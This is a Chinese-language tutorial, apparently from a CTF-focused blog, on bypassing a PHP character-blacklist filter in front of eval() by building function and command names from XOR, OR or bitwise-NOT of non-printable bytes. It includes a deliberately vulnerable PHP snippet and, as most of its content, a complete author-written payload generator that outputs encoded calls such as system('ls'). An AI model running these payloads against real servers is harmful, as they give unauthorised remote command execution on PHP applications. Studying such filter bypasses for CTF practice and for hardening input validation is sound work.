跳转至

异或、取反、或绕过

在这之前说一下url编码是%加上其字符的16进制

看看下面这样的情况

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

可见字符都没了,我们就可以采取异或、取反、或绕过实现rce了

原理就是将不可见字符转二进制进行异或、取反、或操作了这三个请自行百度

echo urldecode("%08")^urldecode("%7b");
输出为s

原理

%08-0001000
%7b-1111011
异或得到
%73-1110011

或运算同理

接下来是取反,这个就更好理解了

~%8C代表s
%8C-10001100
逐位取反
%73-01110011

下面是我自己写的脚本

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或

function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($func,$cmd,$mode, $preg='/[0-9]/i'){
    $temp = [];
    if ($mode!=3){
        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        if ((strtoupper($res)===$res)){

                        }else{
                            if ($temp[$res]==null){
                                $temp[$res] = "$par1|$par2";
                            }

                        }

                    }
                }
            }

        }
        $res = "(func^tion)(cmd^line);";
        $par1 = "";
        $par2 = "";
        $par3 = "";
        $par4 = "";
        for($i=0;$i<strlen($func);$i++){
            $expl = explode("|",$temp[$func[$i]]);
            $par1.=$expl[0];
            $par2.=$expl[1];
        }
        for($i=0;$i<strlen($cmd);$i++){
            $expl = explode("|",$temp[$cmd[$i]]);
            $par3.=$expl[0];
            $par4.=$expl[1];
        }
        $res = preg_replace("/func/","\"$par1\"",$res);
        $res = preg_replace("/tion/","\"$par2\"",$res);
        $res = preg_replace("/cmd/","\"$par3\"",$res);
        $res = preg_replace("/line/","\"$par4\"",$res);
        echo $res;
//        var_dump($temp);
    }else{
        negateRce();
    }

}

generate("system","ls",2,"/[a-z0-9]/i");

评论